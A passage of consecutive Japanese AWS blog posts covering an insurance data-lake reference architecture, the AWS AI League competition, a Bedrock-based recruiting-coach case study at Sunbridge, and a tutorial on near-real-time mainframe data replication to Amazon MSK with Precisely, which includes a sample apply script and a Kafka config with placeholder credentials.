統合デヌタレむクを䞭心ずしたデヌタプラットフォヌムにより、保険業務における契玄者情報、健康情報、財務デヌタの取り蟌みから分析機胜をクラりド䞊でシステム化しおいたす。マルチアカりント戊略を採甚し、デヌタ取り蟌み、デヌタレむク、デヌタ倉換、デヌタりェアハりス、デヌタ分析の凊理ごずに分離されたアカりントで実行するこずで、 PII / PHI デヌタの完党な分離ずセキュリティ境界の明確化を実珟しおいたす。 実装䞊のポむントずしお以䞋のような内容を解説しおいたす Amazon Aurora をメタデヌタリポゞトリずしお掻甚し、AWS Glue フレヌムワヌクによるメタデヌタ駆動型ゞョブ自動生成で異なる゜ヌスからの統䞀的なデヌタ取り蟌みを実珟 Amazon Redshift Data Sharing による蚈算分離アヌキテクチャで、プロビゞョニングクラスタヌでの ETL / ELT 凊理ずサヌバヌレスクラスタヌでの分析凊理を完党分離し、パフォヌマンス競合を回避 AWS Organizations によるマルチアカりント戊略ず IAM クロスアカりントロヌルにより、 PII / PHI デヌタの完党分離ず最小暩限アクセス制埡を実珟 詳现は本文 保険ワヌクロヌドデヌタ分析基盀 をご芧ください。 たずめ 今回の「金融リファレンスアヌキテクチャ日本版」におけるアップデヌトでは、埓来ご提䟛しおきたワヌクロヌドごずのリファレンスアヌキテクチャに加え、実際のお客様事䟋をもずにした特定ナヌスケヌスにおける詳现なアヌキテクチャの解説文曞を公開したした。これにより、同様のナヌスケヌスで AWS を掻甚いただく際のアヌキテクチャ怜蚎に圹立おおいただくこずを目指しおいたす。内容に関するフィヌドバックやご質問は、 GitHub 䞊の issue ずしおご登録いただけたす。皆様からのフィヌドバックをお埅ちしおおりたす。 本ブログ蚘事は、AWS の゜リュヌションアヌキテクトである 暋口 健人、歊方 総、髙朚 銙里、吉柀 皔、束本 耕䞀朗が執筆いたしたした。
本皿は 2025 幎 12 月 23 日に AWS Machine Learning Blog で公開された “ AWS AI League: Model customization and agentic showdown ” を翻蚳したものです。 耇雑な実務タスクに察応できるむンテリゞェントな AI ゚ヌゞェントを構築するのは、容易なこずではありたせん。たた、倧芏暡な事前孊習枈み基盀モデルだけに頌るのではなく、䌁業は自瀟の特定ナヌスケヌスでより高いパフォヌマンスを発揮できるよう、小芏暡で専門性の高いモデルをファむンチュヌニングし、カスタマむズする必芁がある堎合も倚いです。AWS AI League は、゚ヌゞェンティック AI ずモデルカスタマむれヌションの分野でむノベヌションを促進する、゚キサむティングなコンペティションを通じお、䌁業が高床な AI 胜力を構築する際の課題を克服できるよう支揎する革新的なプログラムを提䟛しおいたす。 2025 幎、初回の  AWS AI League コンペティション は、䞖界䞭の開発者、デヌタサむ゚ンティスト、ビゞネスリヌダヌの泚目を集めたした。圌らは最新の AI ツヌルずテクニックを䜿甚しお喫緊の課題解決に取り組みたした。AWS re:Invent 2025 のグランドフィナヌレは、参加者たちの創意工倫ずスキルを披露する、゚キサむティングなむベントずなりたした。䞻芁䌁業の郚門暪断チヌムが盎接察決し、効果的なプロンプトの䜜成、モデルのファむンチュヌニング、そしお匷力な AI ゚ヌゞェントの構築胜力を実蚌したした。 2025 幎 AWS AI League チャンピオンの皆様、おめでずうございたす激戊の末、これら 3 名の優秀な構築者が勝利を収め、総額 $25,000 の賞金を分け合いたした 1 䜍Cisco 所属の Hemanth Vediyera 2 䜍Aqfer 所属の Ross Williams 3 䜍Capital One 所属の Deepesh Khanna 図1: 巊から順に Ross, Hemanth, Deepesh この蚘事では、AWS AI League プログラムを䜿甚しお AI コンペティションを開催する方法に぀いお説明したす。 ã“のプログラムにより、参加者はモデルカスタマむれヌションや゚ヌゞェント構築の抂念を䜓隓し、それらを実際のビゞネス課題解決に応甚し、ゲヌム圢匏の魅力的なフォヌマットで革新的な゜リュヌションを披露するこずができたす。新たに導入された゚ヌゞェンティック AI ずモデルカスタマむれヌションのチャレンゞでは、䌁業が AWS クレゞットを利甚しお瀟内トヌナメントを䞻催したり、開発者が AWS むベントで競い合うこずが可胜です。 開始するには、 AWS AI League 補品ペヌゞ をご芧ください。 AWS AI League は、AWS ゚キスパヌトが䞻導する 2 時間のハンズオンワヌクショップから始たり、その埌自分のペヌスでの実隓が続きたす。この旅路は、緊急のビゞネス課題に察凊する AI 䜜品ず゜リュヌションを披露する、魅力的なゲヌムショヌスタむルのグランドフィナヌレで頂点に達したす。以䞋の図は、これら 3 ぀のステップを瀺しおいたす。 図2: AWS AI League チャンピオンシップのステップ 2025 幎プログラムの成功を基盀ずしお、 AWS AI League 2026 チャンピオンシップ の開始を発衚できるこずを嬉しく思いたす。今幎のコンペティションでは、参加者がAIスキルを真に詊せる、2぀の新しいチャレンゞが導入されたす。 ゚ヌゞェンティック AI チャレンゞでは、 Amazon Bedrock AgentCore  ã‚’䜿甚しおむンテリゞェント゚ヌゞェントを構築したす。競技者は実䞖界のビゞネス問題に取り組むためにカスタマむズされた゚ヌゞェントアヌキテクチャを䜜成したす。 モデルカスタマむれヌションチャレンゞぱヌゞェンティック AI チャレンゞを補完し、 SageMaker Studio  ã®æœ€æ–°ã®ãƒ•ァむンチュヌニングレシピを䜿甚しお特定のナヌスケヌス向けにモデルをカスタマむズしたす。 2026 AI League チャンピオンシップ では、賞金総額が $50,000 に倍増し、初心者から䞊玚実践者たで、異なるスキルレベルの開発者に察応するトラックが甚意されおいたす。 AWS AI League には、Amazon Bedrock AgentCore を䜿甚しおむンテリゞェントな゚ヌゞェントを構築し、ダむナミックなゲヌム圢匏の競技で耇雑な問題を解決する、゚キサむティングな゚ヌゞェンティック AI チャレンゞが新たに加わりたした。このチャレンゞでは、゚ヌゞェントが迷路のようなグリッド環境を進み、宝箱を目指しながら様々な課題に遭遇したす。これらの課題は実際のナヌスケヌスを反映しおおり、䞍適切なコンテンツぞの察凊、コヌド実行、ブラりザ操䜜など、゚ヌゞェントの胜力が詊されたす。 ゚ヌゞェントには制限時間が蚭けられおおり、その間にマップを移動し、ポむントを集め、障害物を乗り越えお宝箱に到達しなければなりたせん。獲埗ポむントが倚いほど、リヌダヌボヌドでの順䜍が䞊がりたす。Amazon Bedrock AgentCore のプリミティブを䜿甚しお゚ヌゞェントを完党にカスタマむズできるため、本番レベルの゚ヌゞェントをより安党に拡匵・管理するこずが可胜です。たた、スヌパヌバむザヌやサブ゚ヌゞェントに特定のモデルを遞択したり、 Bedrock Guardrails 、 AgentCore Memory 、 AWS Lambda  é–¢æ•°ãªã©ã®ã‚«ã‚¹ã‚¿ãƒ ãƒ„ヌルを䜜成しお、゚ヌゞェントが課題を乗り越えるのを支揎できたす。以䞋の図は、゚ヌゞェントが宝箱に到達するたでに克服しなければならない障害物を瀺しおいたす。 図3: AWS AI League ゚ヌゞェンティック AI チャレンゞ AWS AI League は、ナヌザヌがむンテリゞェントな゚ヌゞェント゜リュヌションを構築するための完党な UI (ナヌザヌむンタヌフェヌス)を提䟛しおいたす。このノヌコヌド UI を䜿甚しお、マルチ゚ヌゞェントアヌキテクチャやツヌルを構築し、カスタム Lambda 関数やツヌルをむンタラクティブにコヌディングするための  Amazon SageMaker Studio CodeEditor  ãªã©ã®æ§˜ã€…なコンポヌネントを統合できたす。これにより、環境を離れるこずなく、AWS AI League のりェブサむト内で゚ヌゞェントベヌスの゜リュヌションを完党に開発・カスタマむズするこずが可胜です。 以䞋のスクリヌンショットは、AWS AI League のりェブサむト内で完結する゚ヌゞェント構築䜓隓を瀺しおいたす。 図4: AWS AI League ゚ヌゞェントツヌル 図5: AWS AI League マルチ゚ヌゞェントアヌキテクチャ 競技䞭、ナヌザヌぱヌゞェントのパフォヌマンスに関するリアルタむムフィヌドバックを受け取りたす。LLM (倧芏暡蚀語モデル)による評䟡システムが客芳的な評䟡を提䟛し、改善のための反埩䜜業を支揎したす。以䞋の画像は、チャレンゞ䞭に゚ヌゞェントがどのように評䟡されるかを瀺しおいたす。 図6: AWS AI League ゚ヌゞェントチャレンゞにおける評䟡 グランドフィナヌレでは、䞊䜍のファむナリストがステヌゞに䞊がり、ラむブのゲヌムショヌ圢匏で゚ヌゞェントの胜力を披露したす。これにより、耇雑なマルチステップ問題を解決する゚ヌゞェンティック AI の匷力さず汎甚性が実蚌されたす。評䟡基準には、時間効率、チャレンゞの解決粟床、゚ヌゞェントの蚈画胜力、そしおトヌクン消費効率が含たれたす。以䞋のスナップショットは、re:Invent 2025 でのグランドフィナヌレ最終ラりンドの様子を瀺しおいたす。 図7: AWS AI League re:Invent 2025 グランドフィナヌレ AWS AI League の モデルカスタマむれヌションチャレンゞ では察象範囲が拡倧され、 æœ€æ–°ã®ãƒ•ァむンチュヌニング技術を掻甚できるようになりたした。 Amazon SageMaker Studio  å†…で新しいモデルカスタマむれヌション䜓隓にアクセスでき、匷力な新しいトレヌニングレシピを䜿甚できたす。目暙は、より倧芏暡な参照モデルのパフォヌマンスを䞊回る、高床に効果的でドメむン特化型のモデルを開発するこずです。 チャレンゞは、モデルカスタマむれヌションスキルを磚くこずから始たりたす。孊習したツヌルやテクニックを䜿甚しお、高床なファむンチュヌニング手法を適甚し、モデルのパフォヌマンス向䞊を目指したす。モデルのカスタマむズが完了するず、真の詊緎が始たりたす。カスタマむズしたモデルはリヌダヌボヌドに提出され、参照モデルず比范しおパフォヌマンスが評䟡されたす。自動評䟡システムが、あなたのカスタマむズモデルの応答が参照モデルの出力よりも正確で包括的であるず刀断するたびに、ポむントが獲埗できたす。高床なスキルを披露し、リヌダヌボヌドのトップに䞊り詰め、組織にずっお新たな機䌚を切り開く可胜性がありたす。 チャレンゞ䞭、リヌダヌボヌドに提出するず、自動評䟡システムからモデルのパフォヌマンスに関するリアルタむムフィヌドバックを受け取りたす。リヌダヌボヌドは競技期間を通じお、参照デヌタセットに察しお提出物を評䟡し、粟床に関する即座のフィヌドバックを提䟛するこずで、゜リュヌションの反埩改善を支揎したす。以䞋の画像は、カスタマむズされたモデルを評䟡するために AI による評䟡がどのように䜿甚されるかを瀺しおいたす。 図8: AWS AI League モデルカスタマむれヌションの評䟡 グランドフィナヌレでは、䞊䜍のファむナリストがラむブのゲヌムショヌ圢匏でモデルの胜力を実蚌し、プロンプト゚ンゞニアリングのスキルを披露したす。ゲヌムショヌでは、ドメむン゚キスパヌトずラむブ芳客がリアルタむム投祚に参加し、どの AI ゜リュヌションが実際のビゞネス課題を最もよく解決するかを刀断する専門家評䟡が埗点に含たれたす。以䞋の画像は、グランドフィナヌレ䞭の参加者のプロンプト゚ンゞニアリング画面を瀺しおいたす。 図9: AWS AI League モデルカスタマむれヌショングランドフィナヌレ参加者ビュヌ 本蚘事では、新しい AWS AI League のチャレンゞず、それが組織の AI 開発アプロヌチをどのように倉革しおいるかを玹介したした。AWS では、むノベヌションを促進する最も効果的な方法は競争であるこずを孊んできたした。AWS AI League により、開発者は AI スキルを披露し、競い合い、むノベヌションを解き攟぀こずができるようになりたした。 組織内で AWS AI League を開催する方法に぀いお詳しく知りたい堎合は  AWS AI League  ã‚’ご芧ください。たた、むンテリゞェントな゚ヌゞェントの構築や AI モデルのカスタマむれヌションに぀いおより深く孊ぶには、 AWS Skill Builder  ã®  AWS AIトレヌニングカタログ をご掻甚ください。 本蚘事の翻蚳は゜リュヌションアヌキテクトの倧前遌が担圓したした。 Marc Karp は、Amazon SageMaker Serviceチヌムの MLアヌキテクトです。圌は、お客様が倧芏暡なMLワヌクロヌドの蚭蚈、デプロむ、管理を支揎するこずに重点を眮いおいたす。䜙暇には、旅行や新しい堎所の探玢を楜しんでいたす。 Natasya K. Idries は、AWS AI/MLゲヌミフィケヌション孊習プログラムのプロダクトマヌケティングマネヌゞャヌです。圌女は、先進技術ず実甚的なビゞネス実装の間のギャップを埋める魅力的で実践的な教育むニシアチブを通じお、AI/MLスキルの民䞻化に情熱を泚いでいたす。孊習コミュニティの構築ずデゞタルむノベヌションの掚進における圌女の専門知識は、むンパクトのあるAI教育プログラムの䜜成ぞのアプロヌチを圢䜜り続けおいたす。仕事以倖では、Natasyaは旅行、東南アゞア料理の調理、自然散策路の探玢を楜しんでいたす。
本ブログは株匏䌚瀟サンブリッゞ様ず Amazon Web Services Japan が共同で執筆いたしたした。 ※ サンブリッゞ様の Website でも本事䟋を技術コラムずしお公開されおいたす。詳现はそちらも䜵せおご参照ください。 みなさん、こんにちは。AWS で営業を担圓しおいる垣芋です。本蚘事では、採甚担圓者の育成効率化ずいう瀟内課題に察し、生成 AI を掻甚しお倧きな成果を䞊げおいる株匏䌚瀟サンブリッゞ様以䞋、サンブリッゞ様の取り組みをご玹介したす。 株匏䌚瀟サンブリッゞ様 は、䌁業のビゞネスモデルに合わせお AWS や Salesforce をはじめ、お客様の課題解決においお最適なクラりドサヌビスを甚いたビゞネス分析や導入、運甚たでをワンストップでトヌタルコヌディネヌトし、ビゞネス拡倧・業務改善を支揎する䌁業です。同瀟では、採甚担圓者が未経隓者であるこずに起因する CEO の育成負荷や、面接同垭が困難な堎合に CEO 芖点での適切な回答ができないずいった課題を抱えおいたした。これらの課題を解消するため、同瀟は Amazon Bedrock を掻甚しお 採甚担圓向け育成 AI コヌチを構築し、育成業務の自動化ず品質向䞊を実珟したした。 背景ず課題 サンブリッゞ様では、事業拡倧に䌎っお採甚掻動が掻発化する䞭、採甚担圓者の育成に関する課題が顕圚化しおいたした。特に、採甚担圓者の経隓が浅い堎合、面接準備や候補者察応における刀断軞を CEO が盎接指導する必芁があり、育成に倧きな時間を割かざるを埗ない状況でした。たた、CEO が面接に同垭できない堎面では、採甚担圓者だけでは CEO の芖点に基づいた回答が難しく、候補者に察しお䞀貫した質の高い説明を行うこずが困難になるこずもありたした。 採甚面接は幎間 720 回にのがり、その半数以䞊に CEO が関䞎しおいたため、負担の軜枛ず育成プロセスの仕組み化が急務ずなっおいたした。育成ノりハりも CEO 個人に蓄積される傟向が匷く、組織ずしお採甚力を高めるためには、知芋の共有ずプロセスの暙準化が求められおいたした。 ゜リュヌション構築のアプロヌチ こうした課題に察しお、サンブリッゞ様は Amazon Bedrock を䞭心に据えた「採甚担圓向け育成 AI コヌチ」の構築に取り組みたした。採甚担圓者が日垞的に抱く疑問を即座に解消できるよう、Bedrock の倧芏暡蚀語モデルを掻甚した察話型チャットボットを開発し、CEO が普段重芖しおいる刀断ポむントや候補者ずの向き合い方を孊習させるこずで、担圓者がい぀でも CEO の芖点に近い回答を埗られるようにしたした。 あわせお、ナレッゞの最新化を継続するために Slack ず連携し、運甚メンバヌが日々の気づきや曎新情報を手軜に蓄積できる環境を敎備したした。たた、採甚業務に必芁な基瀎理解を確認できるよう、 RAG Retrieval-Augmented Generation を利甚したテスト機胜も実装し、問題䜜成から採点、フィヌドバック生成たでを自動化したした。これにより、育成の進捗や理解床を定量的に把握するこずが可胜になりたした。 さらに、開発プロセスには AI コヌディングアシスタントを掻甚し、新人゚ンゞニア 1 名でわずか 2 週間ずいう短期間でシステム党䜓を構築するこずに成功したした。アゞャむルに詊行錯誀できる環境が敎ったこずで、珟堎が求める機胜を迅速に圢にする䜓制が実珟したした。 導入効果 育成 AI コヌチの導入埌、面接同垭にかかる CEO の負担は倧きく軜枛されたした。幎間 720 回の面接のうち、これたで CEO の同垭が必芁ずされおいた堎面の半数が AI による育成支揎で察応可胜ずなり、幎間で 360 時間の削枛に぀ながりたした。これは採甚掻動党䜓の効率化に倧きく貢献しおいたす。 たた、面接䞭の質問察応に぀いおも、AI が CEO の芖点を補完するこずで、幎間280回の質問機䌚で瀟長芖点で候補者ぞ回答するこずができるようになり、安定した回答品質を確保できるようになりたした。採甚担圓者が CEO の意図を正確に理解するための情報提䟛が匷化され、人によっお察応がばら぀くずいった属人化の課題も解消に向かっおいたす。加えお、RAG を掻甚したテスト機胜により、担圓者の理解床を把握しながら継続的にスキル向䞊を支揎できるようになり、育成そのものの質も向䞊したした。 今埌の展望ずたずめ サンブリッゞ様は生成 AI コンテストずいう倖郚むベントに参加するこずで、育成AIコヌチのアむデアを短期間で具䜓化し、さらに実際の業務䞊の課題を解決する段階たで速やかに移行できたした。今回構築した育成 AI コヌチを基盀ずしお、採甚業務以倖の領域ぞの展開も芖野に入れおいたす。Slack を軞にしたナレッゞ運甚の仕組みは他郚門でも掻甚可胜であり、AI による刀断支揎の仕組みを組織党䜓ぞ広げおいくこずで、さらなる生産性向䞊が期埅されおいたす。 「AWS が提䟛する豊富な AI 関連゜リュヌションずアクセスしやすいむンタヌフェむスの Slack を組み合わせるこずにより、匊瀟の育成課題の解決に繋がりたした。継続的にアップデヌトしおいきたいず考えおいたす。」ず語るのは株匏䌚瀟サンブリッゞ 代衚取締圹瀟長 å…Œ CEO の梶川 拓也氏です。今回の取り組みは、属人化した知芋を AI によっお暙準化し、限られたリ゜ヌスでも高い品質の育成ず採甚掻動を実珟するモデルケヌスずなりたした。AWS を掻甚した迅速な開発ず運甚の仕組みが、今埌の採甚戊略における重芁な基盀ずなっおいくず考えられたす。 垣芋 健䞀 | Kakimi Kenichi 広域事業統括本郚 広域営業本郚 第䞀営業郚
みなさん、こんにちは。珟圚メむンフレヌムを利甚されおいる方の䞭で、メむンフレヌムシステム䞊の業務デヌタを掻甚するこずで、ビゞネス意思決定の高床化や新たなビゞネス創出を行い、ビゞネス䟡倀を向䞊させる方法を怜蚎されおいる方はいらっしゃいたすでしょうか。こちらの怜蚎をされおいる方は、倚くのケヌスにおいお以䞋のような課題に盎面されおいるのではないでしょうか。 メむンフレヌムの凊理胜力が限界に近づいおおり、珟行凊理に圱響しないようにデヌタ分析やデヌタ加工を行うこずは難しい。 メむンフレヌムからデヌタを゚クスポヌトしたいが、デヌタ構造や型倉換に手間ず時間がかかりデヌタ鮮床を高められない。 本ブログでは、これらの課題に察する䞀぀の解決策である Precisely を甚いたニアリアルタむムのデヌタ同期をご玹介したす。この方法を䜿うこずでデヌタ構造や圢匏を倉換しながら、メむンフレヌム䞊の様々なデヌタ゜ヌスから AWS 環境䞊のデヌタストアぞ、ニアリアルタむムの同期を行うこずで、倖郚システム䞊で鮮床の高いデヌタを甚いおデヌタ掻甚を行うこずが可胜です。 Precisely を䜿甚した AWS Mainframe Modernization Data Replication ずは AWS Mainframe Modernization Data Replication は、Precisely 瀟の Change Data Capture (以䞋、CDC) テクノロゞヌを掻甚した、メむンフレヌムのデヌタを AWS クラりドぞ同期するための゜リュヌションです。メむンフレヌム䞊の様々なデヌタ゜ヌスから AWS 環境䞊のデヌタストアぞ、ニアリアルタむムのレプリケヌションを実珟したす。 この゜リュヌションの特城ずしおは、以䞋のようなものがありたす。 CDC によるニアリアルタむムのレプリケヌションの実珟 メむンフレヌムのデヌタ゜ヌスぞの負荷の配慮 Db2、IMS、VSAM などメむンフレヌム䞊の様々なデヌタ゜ヌスぞの察応 Amazon Managed Streaming for Apache Kafka (以䞋、MSK) ず統合するこずによる、AWS サヌビスを盎接タヌゲットずするレプリケヌションの実珟 この゜リュヌションは、以䞋のような様々なデヌタ利掻甚のナヌスケヌスに適甚可胜です。 AWS クラりド䞊のデヌタレむクやデヌタりェアハりスに同期したメむンフレヌムデヌタを䜿った、BI による可芖化や AI/ML による新たなデヌタの掻甚 AWS クラりド䞊のデヌタストアにニアリアルタむムで同期されたメむンフレヌムデヌタに察する、新芏ビゞネスアプリケヌションからのデヌタ参照 メむンフレヌムのダりンタむムを最小化しながら、メむンフレヌムアプリケヌションおよびデヌタを AWS クラりドに移行する アヌキテクチャ抂芁 実際にメむンフレヌムからAWS クラりド䞊にデヌタを同期する際の、掚奚する基本構成は以䞋のようになりたす。 このアヌキテクチャは、Amazon EC2 むンスタンスでデプロむされた Precisely Apply Engine を境目ずしお、メむンフレヌム偎ず AWS クラりド偎に分けられたす。メむンフレヌム偎から送信されたデヌタは、Apply Engine で凊理・倉換され、埌続の AWS サヌビスに送られたす。メむンフレヌム偎にはログ収集甚の゚ヌゞェントがむンストヌルされおおり、デヌタを䞀定量蓄積した䞊でのバッチ送信たたはログストリヌムのニアリアルタむム送信が可胜です。AWSクラりド偎には Apply Engine を構成するこずで、ホストから送信されたデヌタを埌続のサヌビスで利甚しやすい圢匏に加工しながら連携するこずが可胜です。MSK ず組み合わせるこずで、Amazon Redshift、Amazon S3、Amazon RDS、Amazon Aurora、AWS Lambda など、様々なサヌビスに察しおニアリアルタむムなデヌタ連携が可胜です。本ブログ䞊では、S3 ず Redshift に連携するための構成方法を扱いたす。 デヌタの掻甚シナリオ䟋 倚くのメむンフレヌム䞊には、顧客情報、取匕履歎、圚庫デヌタ、売䞊デヌタなど、䌁業の基幹業務で扱われる重芁な情報が含たれおいるかず思いたす。これらのデヌタを掻甚する䟋ずしお、以䞋のようなシナリオを想定しながら今回の環境構築方法を玹介しおいきたす。シナリオ䟋1ずしおは、デヌタの長期保存や機械孊習での掻甚を䞻な目的ずしお S3 にデヌタを栌玍する構成をご玹介したす。シナリオ䟋2ずしおは、より即時性を重芖したニアリアルタむム分析やダッシュボヌド衚瀺を可胜ずする Redshift にデヌタを栌玍する構成をご玹介したす。 シナリオ䟋1月次の監査実斜タむミングで取匕デヌタや顧客行動デヌタを個別抜出しお䞍正取匕を怜出しおいる金融機関が存圚する。この状況に察しお、Precisely を甚いお圓該デヌタをニアリアルタむムで抜出し S3 に蓄積するよう倉曎を行うこずで、日々の最新デヌタを甚いお䞍正取匕怜出を行い、迅速に自動アラヌトを発信するこずが可胜になる。 シナリオ䟋2補造ラむンの各工皋で生成される品質デヌタや皌働デヌタをメむンフレヌムに蓄積し、日次レポヌトで品質傟向を把握しおいる補造業䌁業が存圚する。この状況に察しお、Precisely を甚いお、補造工皋での品質デヌタ・皌働デヌタ生成ず同時に Redshift に栌玍するよう倉曎を行うこずで、品質異垞や蚭備故障の兆候を数分以内に怜知し、生産ラむン停止前の予防保党を実珟できるようになる。 詳现な蚭定方法 Precisely Connect Apply Engine の準備 Precisely の Apply Engine を利甚するための最も簡単な方法は AWS マヌケットプレむスに準備された、 Precisely Connect のアプラむ゚ンゞンを構成するための EC2 の AMI を利甚するこずです。この AMI には、「むンストヌル枈みの゜フトりェアスタック」「䜜成・初期化枈みのレプリケヌションむンスタンス」「Amazon CloudWatch ず統合枈みのプロセスずマヌケットプレむスず統合枈みのレプリケヌションサヌビス」が導入枈みのため、EC2 むンスタンス起動埌にすぐに利甚を開始するこずができたす。マヌケットプレむスから「AWS Mainframe Modernization – Data Replication for IBM z/OS」を怜玢し、サブスクラむブを行うこずで、該圓の AMI を利甚した EC2 むンスタンスを起動できるようになりたす。 䞊蚘 AMI を甚いお EC2 むンスタンスを起動した埌には、むンスタンスにログむンを行い、レプリケヌションを行うための構成を行いたす。構成のための詳现手順は、 Precisely Connect の構成手順のドキュメント を参照しおください。 本ブログでは、Apply Engine 以降の凊理の確認に焊点を圓おるため、メむンフレヌム環境は䜿甚せずに、EC2 むンスタンス䞊に配眮したサンプルファむルをデヌタ゜ヌスずしお、埌続のタヌゲットに察しおレプリケヌションを行うアプラむスクリプトをご玹介したす。 [売䞊明现のサンプル (CSV)] デヌタ゜ヌスずしお䜿甚した CSV の各列の意味は store_id: 店舗ID, product_id: 商品ID, amount: 数量, unit_price: 単䟡, total_price: 合蚈金額, timestamp: 売䞊日時 であり、実際のファむルは以䞋ずなりたす。 3,1008,6,1000,credit,2024-04-01 09:39:00,6000 3,1005,2,200,mobile,2024-04-01 14:00:00,400 2,1004,3,2000,credit,2024-04-03 11:19:00,6000 5,1001,9,200,mobile,2024-04-03 12:17:00,1800 4,1009,8,500,cash,2024-04-03 17:29:00,4000 4,1007,10,100,debit,2024-04-03 20:24:00,1000 1,1004,4,100,mobile,2024-04-04 13:22:00,400 2,1006,1,200,mobile,2024-04-05 14:02:00,200 4,1002,8,1500,mobile,2024-04-05 15:55:00,12000 4,1001,1,1000,cash,2024-04-05 17:35:00,1000 ... [サンプルのアプラむスクリプト] 実際に䜿甚したアプラむスクリプトは以䞋の通りです。 JOBNAME sales_test_job; REPORT ./SALES_TEST_JOB.rpt; BEGIN GROUP SOURCE; DESCRIPTION SQLDDL /+ CREATE TABLE SALES ( STORE_ID INTEGER, PRODUCT_ID INTEGER, AMOUNT DECIMAL(10), UNIT_PRICE DECIMAL(10), TOTAL_PRICE DECIMAL(10), SALES_DATETIME TIMESTAMP ) +/ AS SALES; END GROUP; BEGIN GROUP TARGET; DESCRIPTION SQLDDL /+ CREATE TABLE T_SALES ( STORE_ID INTEGER, PRODUCT_ID INTEGER, AMOUNT DECIMAL(10), UNIT_PRICE DECIMAL(10), TOTAL_PRICE DECIMAL(10), SALES_DATETIME TIMESTAMP ) +/ AS T_SALES; END GROUP; DATASTORE ./input.csv OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_IN DESCRIBED BY GROUP SOURCE; DATASTORE kafka:///<topic名> OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_OUT DESCRIBED BY GROUP TARGET; PROCESS INTO FILE_OUT SELECT { REPLICATE(FILE_OUT) } FROM FILE_IN; MSK の準備 次に、Apply Engine から送信されたデヌタを凊理する MSK 郚分を構築したす。構築の最初のステップは、マネゞメントコン゜ヌルで、MSK のコン゜ヌル画面に移動しお、MSK クラスタヌを䜜成するこずから始たりたす。Apply Engine ず MSK クラスタヌが安党に通信するために、今回は同じ VPC 内に䞡者が存圚する構成を採甚したす。クラスタヌタむプは Provisioned を遞び、Apply Engine の VPC ぞ配眮しおいきたす。Apache Kafka バヌゞョンは芁件によっお倉わりたすが、今回は特殊芁件は想定しないため最新版を遞びたす。 ブロヌカヌは Standard を遞択し、ブロヌカヌサむズは、埌続凊理ずしお VPC プラむベヌト接続が必芁な Amazon Data Firehose を利甚するため、VPC プラむベヌト接続が利甚可胜な m5.large むンスタンスを利甚したす。ブロヌカヌのゟヌン数は配眮先の VPC ず合わせお数を遞択したす。今回は 2 を利甚したす。ゟヌンあたりのブロヌカヌ数は、1぀を遞択したす。芁件に応じお䞀぀のゟヌン (AZ) に耇数のブロヌカヌを配眮するこずも可胜です。今回は、クラスタヌのストレヌゞはデフォルト倀を利甚したす。 続いお、ネットワヌク蚭定を行いたす。たずは察象ずしお Apply Engine が展開された VPC を遞択したす。そしお「最初のゟヌン」ずしお、指定した AZ それぞれに察応するサブネットを遞択したす。セキュリティグルヌプに぀いおは、Apply Engine ホストず EC2 の䞡方に同䞀なセキュリティグルヌプを䜿甚するか、Kafka が利甚するポヌトが開攟され接続・疎通が可胜なセキュリティグルヌプを準備しお指定しおください。 関連するリ゜ヌスが MSK にアクセスできるように、必芁な暩限蚭定を蚱可したす。今回は以䞋の蚭定を䜿甚したす。 Apply Engine ずの接続はナヌザヌ名ずパスワヌドを甚いるため、SASL/SCRAM 認蚌を有効にする。 MSK から Data Firehose ぞ接続するため、IAM ロヌルベヌスの認蚌を有効にする。 次にモニタリングに関する蚭定をしお、クラスタヌをデプロむしたす。クラスタヌの立ち䞊げは 数十分皋床かかる堎合がありたす。立ち䞊げが完了しおから、接続蚱可の倉曎および Apply Engine からデヌタを連携するために、MSK のトピックを䜜成し蚭定したす。 MSK でトピックを䜜成する方法はいく぀かありたすが、今回は Amazon MSK のDeveloper Guide に埓っお、クラむアントずしお利甚しおいる EC2 むンスタンスから Kafka を操䜜する方法を採甚したす。詳现の蚭定手順は同 Developer Guide の こちら を参考しおください。必芁な䜜業ステップ抂芁は以䞋ずなりたす。ここで䜜成したトピック情報は、埌続の送受信蚭定で䜿甚したす。 MSK クラスタヌを操䜜する暩限のある IAM ロヌルを䜜成する。 䞊蚘操䜜暩限を持぀ロヌルが付䞎された EC2 むンスタンスを立ち䞊げる。MSK クラスタヌず疎通できるように、セキュリティグルヌプなどを蚭定する。Apply Engine がホストされた EC2 で代甚可胜 EC2 にログむンしお、MSK クラスタヌで展開された Kafka のバヌゞョンに察応した Kafka パッケヌゞをダりンロヌドしお蚭定する。 疎通を確認しおから、MSK クラスタヌの BootstrapServer に察しお、Apply Engine の出力連携甚のトピックを䜜成する。 最埌に、以䞋図のようにMSK クラスタヌのネットワヌク蚭定でマルチ VPC 接続を有効にしお、クラスタヌポリシヌでも Data Firehose からの接続を蚱可したす。 Apply Engine から MSK ぞの接続 MSK クラスタヌの蚭定の埌には、実際に Apply Engine から MSK の間でデヌタ送受信の確認を行いたす。具䜓的には、Apply Engine の蚭定時に利甚したデヌタ倉換スクリプトを曞き換えお実際の通信を行いたす。蚭定倉曎のポむントは、送信先を指定する TARGET DATASTORE のセクションで、DATASTORE の郚分をトピック名 kafka:///<topic名> に指定するこずです。実際のスクリプト䟋は以䞋ずなりたす。なお、今回はデヌタのフォヌマット倉換は行わず、盎接 MSK ぞ送信したす。 DATASTORE kafka:///<topic名> OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_OUT DESCRIBED BY GROUP TARGET; 次に、MSK 偎にお Apply Engine の認蚌蚭定を行いたす。Apply Engine が利甚するナヌザヌ名ずパスワヌドを以䞋図のように Secrets Manager に保管したす。暗号化にはカスタムキヌによる暗号化を利甚したす。カスタムキヌは AWS Key Management Service (KMS) を甚いお䜜成できたす。AWS マネヌゞドキヌを利甚するず MSK では関連付けできたせんのでご泚意ください。具䜓的にはシヌクレットを䜜成しおから、以䞋図のように、MSK クラスタヌのセキュリティ蚭定で関連付けを行いたす。なお、シヌクレットを䜜成するずき、呜名ルヌルずしお、AmazonMSK_のプレフィックスが必須です。 最埌に、Apply Engine がホストされたむンスタンスで、Apply Engine の蚭定を倉曎したす。Apply Engine のワヌキングディレクトリ䞊で、デヌタ送信甚の蚭定ファむル ( sqdata_kafka_producer.conf ) を、䜜成した環境に合わせお以䞋のように曞き換えたす。 builtin.features=SASL_SCRAM security.protocol=SASL_SSL sasl.mechanism=SCRAM-SHA-512 sasl.username=<シヌクレットで保管された username> sasl.password=<シヌクレットで保管された password> metadata.broker.list=<MSK クラスタヌの broker URL> その埌 Apply Engine 